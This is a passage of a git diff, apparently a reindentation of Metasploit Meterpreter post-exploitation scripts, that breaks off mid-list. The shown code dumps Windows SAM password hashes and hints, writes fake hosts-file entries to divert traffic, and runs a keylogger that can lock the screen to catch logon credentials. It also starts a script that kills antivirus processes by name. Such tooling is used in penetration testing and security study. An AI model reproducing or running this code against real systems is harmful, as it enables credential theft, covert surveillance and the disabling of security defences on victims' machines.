0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ] - 0.upto(keybytes.length-1) do |x| - descrambled << [ keybytes[ descrambler[x] ] ].pack("C") - end + 0.upto(keybytes.length-1) do |x| + descrambled << [ keybytes[ descrambler[x] ] ].pack("C") + end - descrambled + descrambled end def capture_hboot_key(bootkey) - ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ) - return if not ok - vf = ok.query_value("F") - return if not vf - vf = vf.data - ok.close + ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ) + return if not ok + vf = ok.query_value("F") + return if not vf + vf = vf.data + ok.close - hash = Digest::MD5.new - hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric) + hash = Digest::MD5.new + hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric) - rc4 = OpenSSL::Cipher::Cipher.new("rc4") - rc4.key = hash.digest - hbootkey = rc4.update(vf[0x80, 32]) - hbootkey << rc4.final - return hbootkey + rc4 = OpenSSL::Cipher::Cipher.new("rc4") + rc4.key = hash.digest + hbootkey = rc4.update(vf[0x80, 32]) + hbootkey << rc4.final + return hbootkey end def capture_user_keys - users = {} - ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ) - return if not ok + users = {} + ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ) + return if not ok - ok.enum_key.each do |usr| - uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ) - next if usr == 'Names' - users[usr.to_i(16)] ||={} - users[usr.to_i(16)][:F] = uk.query_value("F").data - users[usr.to_i(16)][:V] = uk.query_value("V").data + ok.enum_key.each do |usr| + uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ) + next if usr == 'Names' + users[usr.to_i(16)] ||={} + users[usr.to_i(16)][:F] = uk.query_value("F").data + users[usr.to_i(16)][:V] = uk.query_value("V").data - #Attempt to get Hints (from Win7/Win8 Location) - begin - users[usr.to_i(16)][:UserPasswordHint] = decode_windows_hint(uk.query_value("UserPasswordHint").data.unpack("H*")[0]) - rescue ::Rex::Post::Meterpreter::RequestError - users[usr.to_i(16)][:UserPasswordHint] = nil - end + #Attempt to get Hints (from Win7/Win8 Location) + begin + users[usr.to_i(16)][:UserPasswordHint] = decode_windows_hint(uk.query_value("UserPasswordHint").data.unpack("H*")[0]) + rescue ::Rex::Post::Meterpreter::RequestError + users[usr.to_i(16)][:UserPasswordHint] = nil + end - uk.close - end - ok.close + uk.close + end + ok.close - ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ) - ok.enum_key.each do |usr| - uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ) - r = uk.query_value("") - rid = r.type - users[rid] ||= {} - users[rid][:Name] = usr + ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ) + ok.enum_key.each do |usr| + uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ) + r = uk.query_value("") + rid = r.type + users[rid] ||= {} + users[rid][:Name] = usr - #Attempt to get Hints (from WinXP Location) only if it's not set yet - if users[rid][:UserPasswordHint].nil? - begin - uk_hint = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Hints\\#{usr}", KEY_READ) - users[rid][:UserPasswordHint] = uk_hint.query_value("").data - rescue ::Rex::Post::Meterpreter::RequestError - users[rid][:UserPasswordHint] = nil - end - end + #Attempt to get Hints (from WinXP Location) only if it's not set yet + if users[rid][:UserPasswordHint].nil? + begin + uk_hint = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Hints\\#{usr}", KEY_READ) + users[rid][:UserPasswordHint] = uk_hint.query_value("").data + rescue ::Rex::Post::Meterpreter::RequestError + users[rid][:UserPasswordHint] = nil + end + end - uk.close - end - ok.close - users + uk.close + end + ok.close + users end def decrypt_user_keys(hbootkey, users) - users.each_key do |rid| - user = users[rid] + users.each_key do |rid| + user = users[rid] - hashlm_enc = "" - hashnt_enc = "" + hashlm_enc = "" + hashnt_enc = "" - hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc + hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc - #Check if hashes exist (if 20, then we've got a hash) - lm_exists = user[:V][0x9c+4,4].unpack("V")[0] == 20 ? true : false - nt_exists = user[:V][0x9c+16,4].unpack("V")[0] == 20 ? true : false + #Check if hashes exist (if 20, then we've got a hash) + lm_exists = user[:V][0x9c+4,4].unpack("V")[0] == 20 ? true : false + nt_exists = user[:V][0x9c+16,4].unpack("V")[0] == 20 ? true : false - #If we have a hashes, then parse them (Note: NT is dependant on LM) - hashlm_enc = user[:V][hoff + 4, 16] if lm_exists - hashnt_enc = user[:V][(hoff + (lm_exists ? 24 : 8)), 16] if nt_exists + #If we have a hashes, then parse them (Note: NT is dependant on LM) + hashlm_enc = user[:V][hoff + 4, 16] if lm_exists + hashnt_enc = user[:V][(hoff + (lm_exists ? 24 : 8)), 16] if nt_exists - user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass) - user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass) - end + user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass) + user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass) + end - users + users end def decode_windows_hint(e_string) - d_string = "" - e_string.scan(/..../).each do |chunk| - bytes = chunk.scan(/../) - d_string += (bytes[1] + bytes[0]).to_s.hex.chr - end - d_string + d_string = "" + e_string.scan(/..../).each do |chunk| + bytes = chunk.scan(/../) + d_string += (bytes[1] + bytes[0]).to_s.hex.chr + end + d_string end def convert_des_56_to_64(kstr) - key = [] - str = kstr.unpack("C*") + key = [] + str = kstr.unpack("C*") - key[0] = str[0] >> 1 - key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2) - key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3) - key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4) - key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5) - key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6) - key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7) - key[7] = str[6] & 0x7F + key[0] = str[0] >> 1 + key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2) + key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3) + key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4) + key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5) + key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6) + key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7) + key[7] = str[6] & 0x7F - 0.upto(7) do |i| - key[i] = ( key[i] << 1) - key[i] = @des_odd_parity[key[i]] - end + 0.upto(7) do |i| + key[i] = ( key[i] << 1) + key[i] = @des_odd_parity[key[i]] + end - key.pack("C*") + key.pack("C*") end def rid_to_key(rid) - s1 = [rid].pack("V") - s1 << s1[0,3] + s1 = [rid].pack("V") + s1 << s1[0,3] - s2b = [rid].pack("V").unpack("C4") - s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4") - s2 << s2[0,3] + s2b = [rid].pack("V").unpack("C4") + s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4") + s2 << s2[0,3] - [convert_des_56_to_64(s1), convert_des_56_to_64(s2)] + [convert_des_56_to_64(s1), convert_des_56_to_64(s2)] end def decrypt_user_hash(rid, hbootkey, enchash, pass) - if(enchash.empty?) - case pass - when @sam_lmpass - return @sam_empty_lm - when @sam_ntpass - return @sam_empty_nt - end - return "" - end + if(enchash.empty?) + case pass + when @sam_lmpass + return @sam_empty_lm + when @sam_ntpass + return @sam_empty_nt + end + return "" + end - des_k1, des_k2 = rid_to_key(rid) + des_k1, des_k2 = rid_to_key(rid) - d1 = OpenSSL::Cipher::Cipher.new('des-ecb') - d1.padding = 0 - d1.key = des_k1 + d1 = OpenSSL::Cipher::Cipher.new('des-ecb') + d1.padding = 0 + d1.key = des_k1 - d2 = OpenSSL::Cipher::Cipher.new('des-ecb') - d2.padding = 0 - d2.key = des_k2 + d2 = OpenSSL::Cipher::Cipher.new('des-ecb') + d2.padding = 0 + d2.key = des_k2 - md5 = Digest::MD5.new - md5.update(hbootkey[0,16] + [rid].pack("V") + pass) + md5 = Digest::MD5.new + md5.update(hbootkey[0,16] + [rid].pack("V") + pass) - rc4 = OpenSSL::Cipher::Cipher.new('rc4') - rc4.key = md5.digest - okey = rc4.update(enchash) + rc4 = OpenSSL::Cipher::Cipher.new('rc4') + rc4.key = md5.digest + okey = rc4.update(enchash) - d1o = d1.decrypt.update(okey[0,8]) - d1o << d1.final + d1o = d1.decrypt.update(okey[0,8]) + d1o << d1.final - d2o = d2.decrypt.update(okey[8,8]) - d1o << d2.final - d1o + d2o + d2o = d2.decrypt.update(okey[8,8]) + d1o << d2.final + d1o + d2o end if client.platform =~ /win32|win64/ - begin + begin - print_status("Obtaining the boot key...") - bootkey = capture_boot_key + print_status("Obtaining the boot key...") + bootkey = capture_boot_key - print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...") - hbootkey = capture_hboot_key(bootkey) + print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...") + hbootkey = capture_hboot_key(bootkey) - print_status("Obtaining the user list and keys...") - users = capture_user_keys + print_status("Obtaining the user list and keys...") + users = capture_user_keys - print_status("Decrypting user keys...") - users = decrypt_user_keys(hbootkey, users) + print_status("Decrypting user keys...") + users = decrypt_user_keys(hbootkey, users) - print_status("Dumping password hints...") - print_line() - hint_count = 0 - users.keys.sort{|a,b| a<=>b}.each do |rid| - #If we have a hint then print it - if !users[rid][:UserPasswordHint].nil? && users[rid][:UserPasswordHint].length > 0 - print_line "#{users[rid][:Name]}:\"#{users[rid][:UserPasswordHint]}\"" - hint_count += 1 - end - end - print_line("No users with password hints on this system") if hint_count == 0 - print_line() + print_status("Dumping password hints...") + print_line() + hint_count = 0 + users.keys.sort{|a,b| a<=>b}.each do |rid| + #If we have a hint then print it + if !users[rid][:UserPasswordHint].nil? && users[rid][:UserPasswordHint].length > 0 + print_line "#{users[rid][:Name]}:\"#{users[rid][:UserPasswordHint]}\"" + hint_count += 1 + end + end + print_line("No users with password hints on this system") if hint_count == 0 + print_line() - print_status("Dumping password hashes...") - print_line() - print_line() - users.keys.sort{|a,b| a<=>b}.each do |rid| - hashstring = "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::" - @client.framework.db.report_auth_info( - :host => client.sock.peerhost, - :port => smb_port, - :sname => 'smb', - :user => users[rid][:Name], - :pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0], - :type => "smb_hash" - ) + print_status("Dumping password hashes...") + print_line() + print_line() + users.keys.sort{|a,b| a<=>b}.each do |rid| + hashstring = "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::" + @client.framework.db.report_auth_info( + :host => client.sock.peerhost, + :port => smb_port, + :sname => 'smb', + :user => users[rid][:Name], + :pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0], + :type => "smb_hash" + ) - print_line hashstring + print_line hashstring - end - print_line() - print_line() + end + print_line() + print_line() - rescue ::Interrupt - raise $! - rescue ::Rex::Post::Meterpreter::RequestError => e - print_error("Meterpreter Exception: #{e.class} #{e}") - print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)") - rescue ::Exception => e - print_error("Error: #{e.class} #{e} #{e.backtrace}") - end + rescue ::Interrupt + raise $! + rescue ::Rex::Post::Meterpreter::RequestError => e + print_error("Meterpreter Exception: #{e.class} #{e}") + print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)") + rescue ::Exception => e + print_error("Error: #{e.class} #{e} #{e.backtrace}") + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/hostsedit.rb b/scripts/meterpreter/hostsedit.rb index c54bd4c67b..3a4eff2a73 100644 --- a/scripts/meterpreter/hostsedit.rb +++ b/scripts/meterpreter/hostsedit.rb @@ -11,20 +11,20 @@ session = client # Setting Arguments @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help Options." ], - "-e" => [ true, "Host entry in the format of IP,Hostname." ], - "-l" => [ true, "Text file with list of entries in the format of IP,Hostname. One per line." ] + "-h" => [ false, "Help Options." ], + "-e" => [ true, "Host entry in the format of IP,Hostname." ], + "-l" => [ true, "Text file with list of entries in the format of IP,Hostname. One per line." ] ) def usage - print_line("This Meterpreter script is for adding entries in to the Windows Hosts file.") - print_line("Since Windows will check first the Hosts file instead of the configured DNS Server") - print_line("it will assist in diverting traffic to the fake entry or entries. Either a single") - print_line("entry can be provided or a series of entries provided a file with one per line.") - print_line(@@exec_opts.usage) - print_line("Example:\n\n") - print_line("run hostsedit -e 127.0.0.1,google.com\n") - print_line("run hostsedit -l /tmp/fakednsentries.txt\n\n") - raise Rex::Script::Completed + print_line("This Meterpreter script is for adding entries in to the Windows Hosts file.") + print_line("Since Windows will check first the Hosts file instead of the configured DNS Server") + print_line("it will assist in diverting traffic to the fake entry or entries. Either a single") + print_line("entry can be provided or a series of entries provided a file with one per line.") + print_line(@@exec_opts.usage) + print_line("Example:\n\n") + print_line("run hostsedit -e 127.0.0.1,google.com\n") + print_line("run hostsedit -l /tmp/fakednsentries.txt\n\n") + raise Rex::Script::Completed end @@ -33,68 +33,68 @@ record = "" hosts = session.fs.file.expand_path("%SYSTEMROOT%")+"\\System32\\drivers\\etc\\hosts" #Function check if UAC is enabled def checkuac(session) - winver = session.sys.config.sysinfo - if winver["OS"] =~ (/Windows 7|Vista/) - print_status("Checking if UAC is enabled.") - open_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", KEY_READ) - value = open_key.query_value("EnableLUA").data - if value == 1 - print_status("\tUAC is enabled") - raise "Unable to continue UAC is enabbled." - else - print_status("\tUAC is disabled") - status = false - end - end + winver = session.sys.config.sysinfo + if winver["OS"] =~ (/Windows 7|Vista/) + print_status("Checking if UAC is enabled.") + open_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", KEY_READ) + value = open_key.query_value("EnableLUA").data + if value == 1 + print_status("\tUAC is enabled") + raise "Unable to continue UAC is enabbled." + else + print_status("\tUAC is disabled") + status = false + end + end end #Function for adding record to hosts file def add2hosts(session,record,hosts) - ip,host = record.split(",") - print_status("Adding Record for Host #{host} with IP #{ip}") - session.sys.process.execute("cmd /c echo #{ip}\t#{host} >> #{hosts}",nil, {'Hidden' => true}) + ip,host = record.split(",") + print_status("Adding Record for Host #{host} with IP #{ip}") + session.sys.process.execute("cmd /c echo #{ip}\t#{host} >> #{hosts}",nil, {'Hidden' => true}) end #Make a backup of the hosts file on the target def backuphosts(session,hosts) - random = sprintf("%.5d",rand(100000)) - print_status("Making Backup of the hosts file.") - session.sys.process.execute("cmd /c copy #{hosts} #{hosts}#{random}.back",nil, {'Hidden' => true}) - print_status("Backup loacated in #{hosts}#{random}.back") + random = sprintf("%.5d",rand(100000)) + print_status("Making Backup of the hosts file.") + session.sys.process.execute("cmd /c copy #{hosts} #{hosts}#{random}.back",nil, {'Hidden' => true}) + print_status("Backup loacated in #{hosts}#{random}.back") end # Clear DNS Cached entries def cleardnscach(session) - print_status("Clearing the DNS Cache") - session.sys.process.execute("cmd /c ipconfig /flushdns",nil, {'Hidden' => true}) + print_status("Clearing the DNS Cache") + session.sys.process.execute("cmd /c ipconfig /flushdns",nil, {'Hidden' => true}) end if client.platform =~ /win32|win64/ - @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-e" - checkuac(session) - backuphosts(session,hosts) - add2hosts(session,val,hosts) - cleardnscach(session) - when "-l" - checkuac(session) - if not ::File.exists?(val) - raise "File #{val} does not exists!" - else - backuphosts(session,hosts) - ::File.open(val, "r").each_line do |line| - next if line.strip.length < 1 - next if line[0,1] == "#" - add2hosts(session,line.chomp,hosts) - end - cleardnscach(session) - end - when "-h" - usage - end - } - if args.length == 0 - usage - end + @@exec_opts.parse(args) { |opt, idx, val| + case opt + when "-e" + checkuac(session) + backuphosts(session,hosts) + add2hosts(session,val,hosts) + cleardnscach(session) + when "-l" + checkuac(session) + if not ::File.exists?(val) + raise "File #{val} does not exists!" + else + backuphosts(session,hosts) + ::File.open(val, "r").each_line do |line| + next if line.strip.length < 1 + next if line[0,1] == "#" + add2hosts(session,line.chomp,hosts) + end + cleardnscach(session) + end + when "-h" + usage + end + } + if args.length == 0 + usage + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/keylogrecorder.rb b/scripts/meterpreter/keylogrecorder.rb index ae6316f6a5..ff8f28dd23 100644 --- a/scripts/meterpreter/keylogrecorder.rb +++ b/scripts/meterpreter/keylogrecorder.rb @@ -4,18 +4,18 @@ session = client # Script Options @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-t" => [ true, "Time interval in seconds between recollection of keystrokes, default 30 seconds." ], - "-c" => [ true, "Type of key capture. (0) for user key presses, (1) for winlogon credential capture, or (2) for no migration. Default is 2." ], - "-l" => [ false, "Lock screen when capturing Winlogon credentials."], - "-k" => [ false, "Kill old Process"] + "-h" => [ false, "Help menu." ], + "-t" => [ true, "Time interval in seconds between recollection of keystrokes, default 30 seconds." ], + "-c" => [ true, "Type of key capture. (0) for user key presses, (1) for winlogon credential capture, or (2) for no migration. Default is 2." ], + "-l" => [ false, "Lock screen when capturing Winlogon credentials."], + "-k" => [ false, "Kill old Process"] ) def usage - print_line("Keylogger Recorder Meterpreter Script") - print_line("This script will start the Meterpreter Keylogger and save all keys") - print_line("in a log file for later anlysis. To stop capture hit Ctrl-C") - print_line("Usage:" + @@exec_opts.usage) - raise Rex::Script::Completed + print_line("Keylogger Recorder Meterpreter Script") + print_line("This script will start the Meterpreter Keylogger and save all keys") + print_line("in a log file for later anlysis. To stop capture hit Ctrl-C") + print_line("Usage:" + @@exec_opts.usage) + raise Rex::Script::Completed end @@ -41,131 +41,131 @@ keytime = 30 captype = 2 # Function for locking the screen -- Thanks for the idea and API call Mubix def lock_screen - print_status("Locking Screen...") - lock_info = client.railgun.user32.LockWorkStation() - if lock_info["GetLastError"] == 0 - print_status("Screen has been locked") - else - print_error("Screen lock Failed") - end + print_status("Locking Screen...") + lock_info = client.railgun.user32.LockWorkStation() + if lock_info["GetLastError"] == 0 + print_status("Screen has been locked") + else + print_error("Screen lock Failed") + end end #Function to Migrate in to Explorer process to be able to interact with desktop def explrmigrate(session,captype,lock,kill) - #begin - if captype.to_i == 0 - process2mig = "explorer.exe" - elsif captype.to_i == 1 - if is_uac_enabled? - print_error("UAC is enabled on this host! Winlogon migration will be blocked.") - raise Rex::Script::Completed - end - process2mig = "winlogon.exe" - if lock - lock_screen - end - else - process2mig = "explorer.exe" - end - # Actual migration - mypid = session.sys.process.getpid - session.sys.process.get_processes().each do |x| - if (process2mig.index(x['name'].downcase) and x['pid'] != mypid) - print_status("\t#{process2mig} Process found, migrating into #{x['pid']}") - session.core.migrate(x['pid'].to_i) - print_status("Migration Successful!!") + #begin + if captype.to_i == 0 + process2mig = "explorer.exe" + elsif captype.to_i == 1 + if is_uac_enabled? + print_error("UAC is enabled on this host! Winlogon migration will be blocked.") + raise Rex::Script::Completed + end + process2mig = "winlogon.exe" + if lock + lock_screen + end + else + process2mig = "explorer.exe" + end + # Actual migration + mypid = session.sys.process.getpid + session.sys.process.get_processes().each do |x| + if (process2mig.index(x['name'].downcase) and x['pid'] != mypid) + print_status("\t#{process2mig} Process found, migrating into #{x['pid']}") + session.core.migrate(x['pid'].to_i) + print_status("Migration Successful!!") - if (kill) - begin - print_status("Killing old process") - client.sys.process.kill(mypid) - print_status("Old process killed.") - rescue - print_status("Failed to kill old process.") - end - end - end - end - return true - # rescue - # print_status("Failed to migrate process!") - # return false - # end + if (kill) + begin + print_status("Killing old process") + client.sys.process.kill(mypid) + print_status("Old process killed.") + rescue + print_status("Failed to kill old process.") + end + end + end + end + return true + # rescue + # print_status("Failed to migrate process!") + # return false + # end end #Function for starting the keylogger def startkeylogger(session) - begin - #print_status("Grabbing Desktop Keyboard Input...") - #session.ui.grab_desktop - print_status("Starting the keystroke sniffer...") - session.ui.keyscan_start - return true - rescue - print_status("Failed to start Keylogging!") - return false - end + begin + #print_status("Grabbing Desktop Keyboard Input...") + #session.ui.grab_desktop + print_status("Starting the keystroke sniffer...") + session.ui.keyscan_start + return true + rescue + print_status("Failed to start Keylogging!") + return false + end end def write_keylog_data session, logfile - data = session.ui.keyscan_dump - outp = "" - data.unpack("n*").each do |inp| - fl = (inp & 0xff00) >> 8 - vk = (inp & 0xff) - kc = VirtualKeyCodes[vk] + data = session.ui.keyscan_dump + outp = "" + data.unpack("n*").each do |inp| + fl = (inp & 0xff00) >> 8 + vk = (inp & 0xff) + kc = VirtualKeyCodes[vk] - f_shift = fl & (1<<1) - f_ctrl = fl & (1<<2) - f_alt = fl & (1<<3) + f_shift = fl & (1<<1) + f_ctrl = fl & (1<<2) + f_alt = fl & (1<<3) - if(kc) - name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0]) - case name - when /^.$/ - outp << name - when /shift|click/i - when 'Space' - outp << " " - else - outp << " <#{name}> " - end - else - outp << " <0x%.2x> " % vk - end - end + if(kc) + name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0]) + case name + when /^.$/ + outp << name + when /shift|click/i + when 'Space' + outp << " " + else + outp << " <#{name}> " + end + else + outp << " <0x%.2x> " % vk + end + end - sleep(2) + sleep(2) - if(outp.length > 0) - file_local_write(logfile,"#{outp}\n") - end + if(outp.length > 0) + file_local_write(logfile,"#{outp}\n") + end end # Function for Collecting Capture def keycap(session, keytime, logfile) - begin - rec = 1 - #Creating DB for captured keystrokes - file_local_write(logfile,"") + begin + rec = 1 + #Creating DB for captured keystrokes + file_local_write(logfile,"") - print_status("Keystrokes being saved in to #{logfile}") - #Inserting keystrokes every number of seconds specified - print_status("Recording ") - while rec == 1 - #getting and writing Keystrokes - write_keylog_data session, logfile + print_status("Keystrokes being saved in to #{logfile}") + #Inserting keystrokes every number of seconds specified + print_status("Recording ") + while rec == 1 + #getting and writing Keystrokes + write_keylog_data session, logfile - sleep(keytime.to_i) - end - rescue::Exception => e - print_status "Saving last few keystrokes" - write_keylog_data session, logfile + sleep(keytime.to_i) + end + rescue::Exception => e + print_status "Saving last few keystrokes" + write_keylog_data session, logfile - print("\n") - print_status("#{e.class} #{e}") - print_status("Stopping keystroke sniffer...") - session.ui.keyscan_stop - end + print("\n") + print_status("#{e.class} #{e}") + print_status("Stopping keystroke sniffer...") + session.ui.keyscan_stop + end end # Parsing of Options @@ -175,30 +175,30 @@ lock = false kill = false @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-t" - keytime = val - when "-c" - captype = val - when "-h" - usage - when "-l" - lock = true - when "-k" - kill = true - end + case opt + when "-t" + keytime = val + when "-c" + captype = val + when "-h" + usage + when "-l" + lock = true + when "-k" + kill = true + end } if client.platform =~ /win32|win64/ - if (captype.to_i == 2) - if startkeylogger(session) - keycap(session, keytime, logfile) - end - elsif explrmigrate(session,captype,lock, kill) - if startkeylogger(session) - keycap(session, keytime, logfile) - end - end + if (captype.to_i == 2) + if startkeylogger(session) + keycap(session, keytime, logfile) + end + elsif explrmigrate(session,captype,lock, kill) + if startkeylogger(session) + keycap(session, keytime, logfile) + end + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/killav.rb b/scripts/meterpreter/killav.rb index 60ac0f5c70..095fdd4c92 100644 --- a/scripts/meterpreter/killav.rb +++ b/scripts/meterpreter/killav.rb @@ -4,608 +4,608 @@ # @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] + "-h" => [ false, "Help menu." ] ) def usage - print_line("Usage:" + @@exec_opts.usage) - raise Rex::Script::Completed + print_line("Usage:" + @@exec_opts.usage) + raise Rex::Script::Completed end @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - end + case opt + when "-h" + usage + end } print_status("Killing Antivirus services on the target...") avs = %W{ - AAWTray.exe - Ad-Aware.exe - MSASCui.exe - _avp32.exe - _avpcc.exe - _avpm.exe - aAvgApi.exe - ackwin32.exe - adaware.exe - advxdwin.exe - agentsvr.exe - agentw.exe - alertsvc.exe - alevir.exe - alogserv.exe - amon9x.exe - anti-trojan.exe - antivirus.exe - ants.exe - apimonitor.exe - aplica32.exe - apvxdwin.exe - arr.exe - atcon.exe - atguard.exe - atro55en.exe - atupdater.exe - atwatch.exe - au.exe - aupdate.exe - auto-protect.nav80try.exe - autodown.exe - autotrace.exe - autoupdate.exe - avconsol.exe - ave32.exe - avgcc32.exe - avgctrl.exe - avgemc.exe - avgnt.exe - avgrsx.exe - avgserv.exe - avgserv9.exe - avguard.exe - avgw.exe - avkpop.exe - avkserv.exe - avkservice.exe - avkwctl9.exe - avltmain.exe - avnt.exe - avp.exe - avp.exe - avp32.exe - avpcc.exe - avpdos32.exe - avpm.exe - avptc32.exe - avpupd.exe - avsched32.exe - avsynmgr.exe - avwin.exe - avwin95.exe - avwinnt.exe - avwupd.exe - avwupd32.exe - avwupsrv.exe - avxmonitor9x.exe - avxmonitornt.exe - avxquar.exe - backweb.exe - bargains.exe - bd_professional.exe - beagle.exe - belt.exe - bidef.exe - bidserver.exe - bipcp.exe - bipcpevalsetup.exe - bisp.exe - blackd.exe - blackice.exe - blink.exe - blss.exe - bootconf.exe - bootwarn.exe - borg2.exe - bpc.exe - brasil.exe - bs120.exe - bundle.exe - bvt.exe - ccapp.exe - ccevtmgr.exe - ccpxysvc.exe - cdp.exe - cfd.exe - cfgwiz.exe - cfiadmin.exe - cfiaudit.exe - cfinet.exe - cfinet32.exe - claw95.exe - claw95cf.exe - clean.exe - cleaner.exe - cleaner3.exe - cleanpc.exe - click.exe - cmd.exe - cmd32.exe - cmesys.exe - cmgrdian.exe - cmon016.exe - connectionmonitor.exe - cpd.exe - cpf9x206.exe - cpfnt206.exe - ctrl.exe - cv.exe - cwnb181.exe - cwntdwmo.exe - datemanager.exe - dcomx.exe - defalert.exe - defscangui.exe - defwatch.exe - deputy.exe - divx.exe - dllcache.exe - dllreg.exe - doors.exe - dpf.exe - dpfsetup.exe - dpps2.exe - drwatson.exe - drweb32.exe - drwebupw.exe - dssagent.exe - dvp95.exe - dvp95_0.exe - ecengine.exe - efpeadm.exe - emsw.exe - ent.exe - esafe.exe - escanhnt.exe - escanv95.exe - espwatch.exe - ethereal.exe - etrustcipe.exe - evpn.exe - exantivirus-cnet.exe - exe.avxw.exe - expert.exe - explore.exe - f-agnt95.exe - f-prot.exe - f-prot95.exe - f-stopw.exe - fameh32.exe - fast.exe - fch32.exe - fih32.exe - findviru.exe - firewall.exe - fnrb32.exe - fp-win.exe - fp-win_trial.exe - fprot.exe - frw.exe - fsaa.exe - fsav.exe - fsav32.exe - fsav530stbyb.exe - fsav530wtbyb.exe - fsav95.exe - fsgk32.exe - fsm32.exe - fsma32.exe - fsmb32.exe - gator.exe - gbmenu.exe - gbpoll.exe - generics.exe - gmt.exe - guard.exe - guarddog.exe - hacktracersetup.exe - hbinst.exe - hbsrv.exe - hotactio.exe - hotpatch.exe - htlog.exe - htpatch.exe - hwpe.exe - hxdl.exe - hxiul.exe - iamapp.exe - iamserv.exe - iamstats.exe - ibmasn.exe - ibmavsp.exe - icload95.exe - icloadnt.exe - icmon.exe - icsupp95.exe - icsuppnt.exe - idle.exe - iedll.exe - iedriver.exe - iexplorer.exe - iface.exe - ifw2000.exe - inetlnfo.exe - infus.exe - infwin.exe - init.exe - intdel.exe - intren.exe - iomon98.exe - istsvc.exe - jammer.exe - jdbgmrg.exe - jedi.exe - kavlite40eng.exe - kavpers40eng.exe - kavpf.exe - kazza.exe - keenvalue.exe - kerio-pf-213-en-win.exe - kerio-wrl-421-en-win.exe - kerio-wrp-421-en-win.exe - kernel32.exe - killprocesssetup161.exe - launcher.exe - ldnetmon.exe - ldpro.exe - ldpromenu.exe - ldscan.exe - lnetinfo.exe - loader.exe - localnet.exe - lockdown.exe - lockdown2000.exe - lookout.exe - lordpe.exe - lsetup.exe - luall.exe - luau.exe - lucomserver.exe - luinit.exe - 